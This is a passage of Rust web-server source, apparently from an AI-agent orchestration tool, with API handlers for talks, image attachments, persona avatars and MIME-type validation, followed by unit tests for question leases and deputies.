9298 let ui = Arc::clone(&ui);
9299 let id = id.clone();
9300 let cfg = cfg.clone();
9301 let wanted = body.implementers;
9302 blocking(move || {
9303 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9304 refuse_if_closed(&ui.talks.get(&id)?)
9305 })
9306 .await?;
9307 }
9308 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9309 return Err(ApiError::conflict(
9310 "a talk turn is running; change the implementers once it has answered",
9311 ));
9312 };
9313 let switched = {
9314 let ui = Arc::clone(&ui);
9315 let id = id.clone();
9316 let cfg = cfg.clone();
9317 blocking(move || {
9318 let chosen =
9319 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9320 let mut talk = ui.talks.get(&id)?;
9321 if !talk.status.open() {
9322 return Err(ApiError::conflict(format!(
9323 "talk {} is {} and takes no more turns",
9324 talk.short(),
9325 talk.status.as_str()
9326 )));
9327 }
9328 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9329 Ok(talk)
9330 })
9331 .await
9332 };
9333 let observed = ui.queued_generation(&id);
9335 let fresh = {
9336 let ui = Arc::clone(&ui);
9337 let id = id.clone();
9338 blocking(move || Ok(ui.talks.get(&id)?)).await
9339 };
9340 let draining = match fresh {
9341 Ok(talk) => {
9342 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9343 }
9344 Err(_) => false,
9345 };
9346 let talk = switched?;
9347 Ok(Json(TalkView::new(talk, draining, &ui)))
9348}
9349
9350async fn talk_close(
9352 State(ui): State<Arc<Ui>>,
9353 Path(id): Path<String>,
9354) -> ApiResult<Json<TalkView>> {
9355 blocking(move || {
9356 let id = resolve_talk(&ui.talks, &id)?;
9357 let mut talk = ui.talks.get(&id)?;
9358 talk::close(&mut talk, &ui.talks)?;
9359 let thinking = ui.is_thinking(&talk.id);
9360 Ok(Json(TalkView::new(talk, thinking, &ui)))
9361 })
9362 .await
9363}
9364
9365async fn talk_reopen(
9367 State(ui): State<Arc<Ui>>,
9368 Path(id): Path<String>,
9369) -> ApiResult<Json<TalkView>> {
9370 blocking(move || {
9371 let id = resolve_talk(&ui.talks, &id)?;
9372 let mut talk = ui.talks.get(&id)?;
9373 talk::reopen(&mut talk, &ui.talks)?;
9374 let thinking = ui.is_thinking(&talk.id);
9375 Ok(Json(TalkView::new(talk, thinking, &ui)))
9376 })
9377 .await
9378}
9379
9380async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9390 blocking(move || {
9391 let id = resolve_talk(&ui.talks, &id)?;
9392 ui.talks.remove(&id)?;
9393 Ok(StatusCode::NO_CONTENT)
9394 })
9395 .await
9396}
9397
9398fn talk_ids(root: &FsPath) -> Vec<String> {
9399 std::fs::read_dir(root)
9400 .into_iter()
9401 .flatten()
9402 .flatten()
9403 .filter_map(|e| {
9404 let path = e.path();
9405 if path.extension().is_some_and(|ext| ext == "json") {
9406 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9407 } else {
9408 None
9409 }
9410 })
9411 .collect()
9412}
9413
9414fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9416 if plain_record_id(id) && store.path_of(id).is_file() {
9417 return Ok(id.to_owned());
9418 }
9419 pick(talk_ids(store.root()), id, "talk")
9420}
9421
9422async fn talk_attachment_post(
9425 State(ui): State<Arc<Ui>>,
9426 Path(id): Path<String>,
9427 headers: HeaderMap,
9428 body: Bytes,
9429) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9430 let mime = validate_attachment(&headers, &body)?;
9431 let name = filename_header(&headers);
9432 let data = body.to_vec();
9433 blocking(move || {
9434 let id = resolve_talk(&ui.talks, &id)?;
9435 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9436 Ok((StatusCode::CREATED, Json(att)))
9437 })
9438 .await
9439}
9440
9441async fn talk_attachment_get(
9444 State(ui): State<Arc<Ui>>,
9445 Path((id, att)): Path<(String, String)>,
9446) -> ApiResult<Response> {
9447 blocking(move || {
9448 let id = resolve_talk(&ui.talks, &id)?;
9449 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9450 return Err(ApiError::not_found(format!(
9451 "talk {id} has no attachment `{att}`"
9452 )));
9453 };
9454 Ok(attachment_response(&meta.mime, data))
9455 })
9456 .await
9457}
9458
9459fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9462 let id = avatar_encode(&p.id);
9463 format!(
9464 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9465 persona_icon::fingerprint(
9466 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9467 )
9468 )
9469}
9470
9471#[derive(Debug, Default, Deserialize)]
9472struct AvatarQuery {
9473 persona: Option<String>,
9474 builtin: Option<String>,
9476}
9477
9478const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9480
9481fn builtin_avatar(id: &str) -> Response {
9482 svg_avatar(persona_icon::builtin_svg(id))
9483}
9484
9485async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9486 raster_or_builtin(
9487 read_icon_file(&avatar_setting_path(&ui.home, None))
9488 .filter(|_| q.builtin.is_none())
9489 .as_deref(),
9490 persona_icon::operator_svg(),
9491 )
9492}
9493
9494fn svg_avatar(svg: &'static str) -> Response {
9495 (
9496 [
9497 (header::CONTENT_TYPE, "image/svg+xml"),
9498 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9499 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9500 (header::CACHE_CONTROL, "no-cache"),
9501 ],
9502 svg,
9503 )
9504 .into_response()
9505}
9506
9507fn avatar_encode(value: &str) -> String {
9508 value
9509 .bytes()
9510 .map(|b| {
9511 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9512 char::from(b).to_string()
9513 } else {
9514 format!("%{b:02X}")
9515 }
9516 })
9517 .collect()
9518}
9519
9520fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9522 let Some(id) = persona else {
9523 return home.join("avatars/operator.data");
9524 };
9525 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9526 let mut path = home.join("avatars/personas");
9527 for chunk in encoded.as_bytes().chunks(100) {
9528 path.push(std::str::from_utf8(chunk).expect("hex"));
9529 }
9530 path.join("icon.data")
9531}
9532
9533fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9534 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9535 Some(value) if value == "builtin" => Some(String::new()),
9536 Some(value) => Some(value),
9537 None => configured.map(str::to_owned),
9538 }
9539}
9540
9541fn operator_icon_url(home: &FsPath) -> String {
9542 format!(
9543 "/avatars/operator.svg?v={}",
9544 persona_icon::fingerprint(
9545 read_icon_file(&avatar_setting_path(home, None))
9546 .as_deref()
9547 .or(Some(persona_icon::operator_svg()))
9548 )
9549 )
9550}
9551
9552fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9553 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9554 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9555 attachment_response(mime, bytes)
9556 }
9557 _ => svg_avatar(builtin),
9558 };
9559 response
9560 .headers_mut()
9561 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9562 response
9563}
9564
9565#[derive(Default, Deserialize)]
9566struct AvatarSettingsQuery {
9567 repo: Option<PathBuf>,
9568 persona: Option<String>,
9569 builtin: Option<String>,
9570 inherit: Option<String>,
9571}
9572
9573fn avatar_settings_specs(
9574 ui: &Ui,
9575 repo: Option<PathBuf>,
9576) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9577 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9578 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9579 .map(|cfg| cfg.talk.personas)
9580 .unwrap_or_default();
9581 Ok((repo, specs))
9582}
9583
9584fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9585 let Ok(entries) = std::fs::read_dir(path) else {
9586 return;
9587 };
9588 for entry in entries.flatten() {
9589 let name = entry.file_name().to_string_lossy().into_owned();
9590 if name == "icon.data" {
9591 let bytes: Option<Vec<u8>> = prefix
9592 .as_bytes()
9593 .chunks(2)
9594 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9595 .collect();
9596 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9597 out.push(id);
9598 }
9599 } else if name.len() <= 100
9600 && !name.is_empty()
9601 && name.bytes().all(|b| b.is_ascii_hexdigit())
9602 && entry.file_type().is_ok_and(|t| t.is_dir())
9603 {
9604 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9605 }
9606 }
9607}
9608
9609async fn avatar_settings_get(
9610 State(ui): State<Arc<Ui>>,
9611 Query(q): Query<AvatarSettingsQuery>,
9612) -> ApiResult<Json<serde_json::Value>> {
9613 blocking(move || {
9614 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9615 let mut catalog = persona::catalog(&specs);
9616 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9617 let mut saved = Vec::new();
9618 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9619 for id in saved {
9620 if !catalog.iter().any(|p| p.id == id) {
9621 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9622 }
9623 }
9624 let personas: Vec<_> = catalog.iter().map(|p| {
9625 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9626 let override_state = match saved.as_deref() {
9627 Some("builtin") => "builtin",
9628 Some(_) => "custom",
9629 None => "inherit",
9630 };
9631 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9632 serde_json::json!({"id":p.id,"name":p.name,
9633 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9634 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9635 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9636 }).collect();
9637 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9638 }).await
9639}
9640
9641async fn settings_persona_avatar(
9642 State(ui): State<Arc<Ui>>,
9643 Query(q): Query<AvatarSettingsQuery>,
9644) -> ApiResult<Response> {
9645 blocking(move || {
9646 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9647 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9648 let found = persona::find(&specs, id);
9649 let icon =
9650 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9651 Ok(raster_or_builtin(
9652 icon.as_deref().filter(|_| q.builtin.is_none()),
9653 persona_icon::builtin_svg(id),
9654 ))
9655 })
9656 .await
9657}
9658
9659fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9660 if q.persona
9661 .as_ref()
9662 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9663 {
9664 return Err(ApiError::bad_request("invalid persona id"));
9665 }
9666 Ok(())
9667}
9668
9669async fn avatar_settings_put(
9670 State(ui): State<Arc<Ui>>,
9671 Query(q): Query<AvatarSettingsQuery>,
9672 Json(upload): Json<MagiIconUpload>,
9673) -> ApiResult<Json<serde_json::Value>> {
9674 blocking(move || {
9675 validate_avatar_target(&q)?;
9676 save_icon_file(
9677 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9678 &upload.icon,
9679 )
9680 .map_err(ApiError::bad_request_from)?;
9681 Ok(Json(serde_json::json!({"saved":true})))
9682 })
9683 .await
9684}
9685
9686async fn avatar_settings_delete(
9687 State(ui): State<Arc<Ui>>,
9688 Query(q): Query<AvatarSettingsQuery>,
9689) -> ApiResult<Json<serde_json::Value>> {
9690 blocking(move || {
9691 validate_avatar_target(&q)?;
9692 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9693 if q.persona.is_some() && q.inherit.is_none() {
9694 atomic_icon_write(&path, "builtin")?;
9695 } else {
9696 match std::fs::remove_file(path) {
9697 Ok(()) => (),
9698 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9699 Err(e) => return Err(anyhow::Error::from(e).into()),
9700 }
9701 }
9702 Ok(Json(serde_json::json!({"saved":true})))
9703 })
9704 .await
9705}
9706
9707fn magi_icon_path(home: &FsPath) -> PathBuf {
9709 home.join("magi-icon.data")
9710}
9711
9712fn read_magi_icon(home: &FsPath) -> Option<String> {
9713 read_icon_file(&magi_icon_path(home))
9714}
9715
9716fn read_icon_file(path: &FsPath) -> Option<String> {
9717 let metadata = std::fs::metadata(path).ok()?;
9718 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9719 return None;
9720 }
9721 let file = std::fs::File::open(path).ok()?;
9722 use std::io::Read;
9723 let mut text = String::new();
9724 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9725 .read_to_string(&mut text)
9726 .ok()?;
9727 if text.len() > persona_icon::ICON_MAX_BYTES {
9728 return None;
9729 }
9730 if text == "builtin" {
9731 return Some(text);
9732 }
9733 validate_uploaded_icon(&text).ok()?;
9734 Some(text)
9735}
9736
9737fn magi_icon_url(home: &FsPath) -> String {
9738 format!(
9739 "/avatars/magi?v={}",
9740 persona_icon::fingerprint(read_magi_icon(home).as_deref())
9741 )
9742}
9743
9744async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9745 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9746}
9747
9748#[derive(Deserialize)]
9749struct MagiIconUpload {
9750 icon: String,
9751}
9752
9753fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9754 save_icon_file(&magi_icon_path(home), icon)
9755}
9756
9757fn validate_uploaded_icon(icon: &str) -> Result<()> {
9758 if !icon.starts_with("data:") {
9759 anyhow::bail!("upload a raster image");
9760 }
9761 let (mime, bytes) = persona_icon::load(icon)?;
9762 if sniffed_mime(&bytes) != Some(mime) {
9763 anyhow::bail!("image content does not match its type");
9764 }
9765 Ok(())
9766}
9767
9768fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9769 validate_uploaded_icon(icon)?;
9770 atomic_icon_write(path, icon)
9771}
9772
9773fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9774 let home = path.parent().expect("icon parent");
9775 std::fs::create_dir_all(home)?;
9776 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9777 let temp = home.join(format!(".magi-icon-{token}.tmp"));
9778 let result = (|| -> Result<()> {
9779 use std::io::Write;
9780 let mut file = std::fs::OpenOptions::new()
9781 .write(true)
9782 .create_new(true)
9783 .open(&temp)?;
9784 file.write_all(icon.as_bytes())?;
9785 file.sync_all()?;
9786 std::fs::rename(&temp, path)?;
9787 Ok(())
9788 })();
9789 let _ = std::fs::remove_file(temp);
9790 result?;
9791 Ok(())
9792}
9793
9794async fn magi_icon_put(
9795 State(ui): State<Arc<Ui>>,
9796 Json(upload): Json<MagiIconUpload>,
9797) -> ApiResult<Json<serde_json::Value>> {
9798 blocking(move || {
9799 if !upload.icon.starts_with("data:") {
9800 return Err(ApiError::bad_request("upload a raster image"));
9801 }
9802 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9803 if sniffed_mime(&bytes) != Some(mime) {
9804 return Err(ApiError::bad_request(
9805 "image content does not match its type",
9806 ));
9807 }
9808 save_magi_icon(&ui.home, &upload.icon)?;
9809 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9810 })
9811 .await
9812}
9813
9814async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9815 blocking(move || {
9816 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9817 Ok(()) => (),
9818 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9819 Err(e) => return Err(anyhow::Error::from(e).into()),
9820 }
9821 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9822 })
9823 .await
9824}
9825
9826async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9827 let icon = (q.builtin.is_none())
9828 .then(|| read_magi_icon(&ui.home))
9829 .flatten();
9830 let mut response = match icon
9831 .as_deref()
9832 .and_then(|icon| persona_icon::load(icon).ok())
9833 {
9834 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9835 attachment_response(mime, bytes)
9836 }
9837 _ => svg_avatar(persona_icon::magi_svg()),
9838 };
9839 response
9840 .headers_mut()
9841 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9842 response
9843}
9844
9845async fn talk_avatar(
9850 State(ui): State<Arc<Ui>>,
9851 Path(id): Path<String>,
9852 Query(q): Query<AvatarQuery>,
9853) -> ApiResult<Response> {
9854 blocking(move || {
9855 let id = resolve_talk(&ui.talks, &id)?;
9856 let talk = ui.talks.get(&id)?;
9857 let wanted = q
9858 .persona
9859 .as_deref()
9860 .map(str::trim)
9861 .filter(|p| !p.is_empty())
9862 .unwrap_or(&talk.persona)
9863 .to_owned();
9864 let specs = match Config::discover(&talk.repo, None) {
9865 Ok((cfg, _)) => cfg.talk.personas,
9866 Err(e) => {
9867 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9868 Vec::new()
9869 }
9870 };
9871 let found = persona::find(&specs, &wanted);
9872 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9874 let icon = effective_persona_icon(
9875 &ui.home,
9876 &wanted,
9877 found.as_ref().and_then(|p| p.icon.as_deref()),
9878 );
9879 if found.is_none() && icon.is_none() {
9880 return Ok(builtin_avatar(persona::DEFAULT_ID));
9881 }
9882 let Some(icon) = icon
9883 .as_deref()
9884 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9885 else {
9886 return Ok(builtin_avatar(&wanted));
9887 };
9888 let Some(found) = found else {
9889 return Ok(raster_or_builtin(
9890 Some(icon),
9891 persona_icon::builtin_svg(&wanted),
9892 ));
9893 };
9894 match persona_icon::load(icon) {
9895 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9896 let mut res = attachment_response(mime, bytes);
9897 res.headers_mut().insert(
9898 header::CACHE_CONTROL,
9899 header::HeaderValue::from_static("no-cache"),
9900 );
9901 Ok(res)
9902 }
9903 Ok((mime, _)) => {
9904 tracing::warn!(
9905 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9906 found.id
9907 );
9908 Ok(builtin_avatar(&found.id))
9909 }
9910 Err(e) => {
9911 tracing::warn!(
9912 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9913 found.id
9914 );
9915 Ok(builtin_avatar(&found.id))
9916 }
9917 }
9918 })
9919 .await
9920}
9921
9922fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9933 if data.len() > ATTACHMENT_MAX_BYTES {
9934 return Err(ApiError::bad_request(format!(
9935 "attachment is {} bytes, over the {} MiB limit",
9936 data.len(),
9937 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9938 ))
9939 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9940 }
9941 if data.is_empty() {
9942 return Err(ApiError::bad_request("attachment is empty"));
9943 }
9944 let declared = declared_mime(headers)?;
9945 match sniffed_mime(data) {
9946 Some(sniffed) if sniffed == declared => Ok(declared),
9947 Some(sniffed) => Err(ApiError::bad_request(format!(
9948 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9949 ))),
9950 None => Err(ApiError::bad_request(
9951 "the file's bytes do not match any accepted image format",
9952 )),
9953 }
9954}
9955
9956fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9960 let raw = headers
9961 .get(header::CONTENT_TYPE)
9962 .and_then(|v| v.to_str().ok())
9963 .unwrap_or("")
9964 .split(';')
9965 .next()
9966 .unwrap_or("")
9967 .trim()
9968 .to_ascii_lowercase();
9969 ATTACHMENT_MIME_WHITELIST
9970 .iter()
9971 .find(|&&m| m == raw)
9972 .copied()
9973 .ok_or_else(|| {
9974 if raw == "image/svg+xml" {
9975 ApiError::bad_request(
9976 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9977 not just a picture",
9978 )
9979 } else if raw.is_empty() {
9980 ApiError::bad_request("Content-Type is required for an attachment upload")
9981 } else {
9982 ApiError::bad_request(format!(
9983 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9984 image/gif or image/webp"
9985 ))
9986 }
9987 })
9988}
9989
9990fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9993 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9994 Some("image/png")
9995 } else if data.starts_with(b"\xff\xd8\xff") {
9996 Some("image/jpeg")
9997 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9998 Some("image/gif")
9999 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10000 Some("image/webp")
10001 } else {
10002 None
10003 }
10004}
10005
10006fn filename_header(headers: &HeaderMap) -> String {
10012 headers
10013 .get(FILENAME_HEADER)
10014 .and_then(|v| v.to_str().ok())
10015 .map(str::trim)
10016 .filter(|s| !s.is_empty())
10017 .unwrap_or("attachment")
10018 .to_owned()
10019}
10020
10021fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10028 let content_type = ATTACHMENT_MIME_WHITELIST
10029 .iter()
10030 .find(|&&m| m == mime)
10031 .copied()
10032 .unwrap_or("application/octet-stream");
10033 (
10034 [
10035 (header::CONTENT_TYPE, content_type),
10036 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10037 ],
10038 body,
10039 )
10040 .into_response()
10041}
10042
10043async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10051 let repo = repo.to_path_buf();
10052 blocking(move || {
10053 let (cfg, _) = Config::discover(&repo, None)?;
10054 Ok(cfg)
10055 })
10056 .await
10057}
10058
10059fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10065 let mut hits = ids
10066 .into_iter()
10067 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10068 match (hits.next(), hits.next()) {
10069 (Some(one), None) => Ok(one),
10070 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10071 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10072 "`{prefix}` matches more than one {what}, including {a} and {b}"
10073 ))),
10074 }
10075}
10076
10077#[cfg(test)]
10078mod tests {
10079
10080 #[test]
10081 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10082 let dir = tempfile::tempdir().unwrap();
10083 let store = ask::Questions::at(dir.path().join("questions"));
10084 let mut q = Question::new(
10085 "task".to_owned(),
10086 "conduct".to_owned(),
10087 "conduct".to_owned(),
10088 "choose".to_owned(),
10089 String::new(),
10090 vec!["keep".to_owned()],
10091 );
10092 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10093 q.say("why?").unwrap();
10094 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10095 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10096 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10097 store.put(&mut q).unwrap();
10098 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10099 assert_eq!(store.count_needs_owner(), 1);
10100 store.beat(&q.id, ask::WaiterKind::Deputy);
10101 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10102 assert_eq!(store.count_needs_owner(), 0);
10103 let mut stale = store.read_lease(&q.id).unwrap();
10104 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10105 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10106 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10107 assert!(view.deputy_exhausted);
10108 assert!(view.waiting_on_agent);
10109 assert_eq!(view.question.choices, ["keep"]);
10110 store.drop_lease(&q.id);
10111 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10112 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10113 }
10114
10115 #[test]
10116 fn holder_reads_the_lease_not_the_record() {
10117 let mut q = Question::new(
10118 "run".to_owned(),
10119 "implement".to_owned(),
10120 "impl-A".to_owned(),
10121 "which?".to_owned(),
10122 String::new(),
10123 Vec::new(),
10124 );
10125 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10126 q.cwd = Some("/tmp".to_owned());
10127 assert_eq!(holder_of(&q, None), Some("nobody"));
10128 let beat = |kind, ago: i64| ask::Lease {
10129 kind,
10130 pid: 1,
10131 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10132 .unwrap(),
10133 };
10134 let fresh = beat(ask::WaiterKind::Asker, 1);
10135 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10136 let daemon = beat(ask::WaiterKind::Daemon, 1);
10137 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10138 let stale = beat(ask::WaiterKind::Asker, 3600);
10139 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10140
10141 let mut c = Question::new(
10144 "task".to_owned(),
10145 crate::conduct::NODE.to_owned(),
10146 "conduct".to_owned(),
10147 "which?".to_owned(),
10148 String::new(),
10149 Vec::new(),
10150 );
10151 assert_eq!(holder_of(&c, None), Some("nobody"));
10152 c.cwd = Some("/tmp".to_owned());
10153 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10154 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10155 let deputy = beat(ask::WaiterKind::Deputy, 1);
10156 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10157 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10158
10159 let mut r = Question::new(
10161 String::new(),
10162 crate::bump::NOTICE_NODE.to_owned(),
10163 "release-watch".to_owned(),
10164 "stuck?".to_owned(),
10165 String::new(),
10166 vec!["hold".to_owned()],
10167 );
10168 assert_eq!(holder_of(&r, None), Some("nobody"));
10169 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10170 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10171 r.deputy = None;
10173 r.seat = "bump".to_owned();
10174 assert_eq!(holder_of(&r, None), None);
10175
10176 let mut m = Question::new(
10179 "run".to_owned(),
10180 crate::land::APPROVAL_NODE.to_owned(),
10181 "land".to_owned(),
10182 "merge?".to_owned(),
10183 String::new(),
10184 Vec::new(),
10185 );
10186 assert_eq!(holder_of(&m, None), Some("nobody"));
10187 assert_eq!(
10188 holder_of(&m, Some(&fresh)),
10189 Some("asker"),
10190 "a live explicit wait is a listener even before a deputy is attached"
10191 );
10192 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10193 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10194 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10195 assert_eq!(holder_of(&m, None), Some("nobody"));
10196 }
10197
10198 fn stub_config() -> Config {
10199 Config {
10202 agents: vec![crate::config::AgentSpec {
10203 id: "stub".to_owned(),
10204 kind: AgentKind::Command,
10205 model: None,
10206 command: vec!["true".to_owned()],
10207 extra_args: Vec::new(),
10208 env: Default::default(),
10209 prompt_delivery: None,
10210 }],
10211 ..Config::default()
10212 }
10213 }
10214
10215 fn plain_question(seat: &str) -> Question {
10216 Question::new(
10217 String::new(),
10218 "n".to_owned(),
10219 seat.to_owned(),
10220 "s".to_owned(),
10221 String::new(),
10222 Vec::new(),
10223 )
10224 }
10225
10226 #[test]
10227 fn deputies_enabled_follows_the_config() {
10228 let on = stub_config();
10229 assert!(crate::deputy::can_start(Some(&on), ""));
10230 assert!(crate::deputy::can_start(Some(&on), "stub"));
10231 let mut off = on.clone();
10232 off.daemon.max_deputies = 0;
10233 assert!(!crate::deputy::can_start(Some(&off), ""));
10234 let mut empty = on;
10235 empty.agents.clear();
10236 assert!(!crate::deputy::can_start(Some(&empty), ""));
10237 assert!(!crate::deputy::can_start(None, ""));
10238 }
10239
10240 #[test]
10241 fn question_views_load_the_config_once() {
10242 let dir = TempDir::new().unwrap();
10243 let store = ask::Questions::at(dir.path().to_path_buf());
10244 let mut with_deputy = plain_question("b");
10245 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10246 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10247
10248 let calls = std::cell::Cell::new(0usize);
10249 let views = question_views(qs.clone(), &store, || {
10250 calls.set(calls.get() + 1);
10251 Some(stub_config())
10252 });
10253 assert_eq!(calls.get(), 1);
10254 assert_eq!(views.len(), 3);
10255 for (v, q) in views.iter().zip(&qs) {
10256 assert_eq!(
10257 v.deputies_enabled,
10258 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10259 );
10260 }
10261
10262 let views = question_views(qs, &store, || None);
10263 assert!(views.iter().all(|v| !v.deputies_enabled));
10264
10265 let calls = std::cell::Cell::new(0usize);
10266 let views = question_views(Vec::new(), &store, || {
10267 calls.set(calls.get() + 1);
10268 None
10269 });
10270 assert!(views.is_empty());
10271 assert_eq!(calls.get(), 0);
10272 }
10273
10274 use pretty_assertions::assert_eq;
10275 use serde_json::Value;
10276 use tempfile::TempDir;
10277 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10278
10279 use super::*;
10280 use crate::config::Config;
10281 use crate::queue::Source;
